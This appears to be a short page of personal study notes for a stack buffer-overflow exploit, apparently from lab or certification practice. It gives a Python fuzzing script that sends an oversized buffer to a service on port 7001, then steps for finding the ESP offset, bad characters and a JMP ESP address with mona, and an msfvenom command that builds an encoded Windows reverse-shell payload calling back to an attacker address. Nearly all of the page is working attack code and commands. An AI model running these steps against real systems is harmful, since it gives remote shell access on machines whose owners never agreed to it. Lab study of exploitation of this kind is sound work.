BoF 1

#!/usr/bin/python
import socket

try:
  print "\nSending evil buffer..."

  buffer = "A" * 2560
 
  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.141.10", 7001))
  s.send(buffer)
  
  s.close()
  
  print "\nDone!"
  
except:
  print "\nCould not connect!"

b.py and extra.py Analogy:

Here ESP points at 0396EE6C. Check the stack now. You will find that there are 8 C's before the pointer of ESP. So modify the code and send 8 C's along with D's by using extra.py. Increase the buffer size by 800-1500 only. This means the value of (msf-pattern_offset + 800-1500)

RETURN ADDRESS:

Add all the badchars including \x00
!mona jmp -r esp -cpb "\x00"

OR 

!mona find -s "\xff\xe4" -m essfunc.dll

MSFVENOM:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.141 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00"

Last updated

Was this helpful?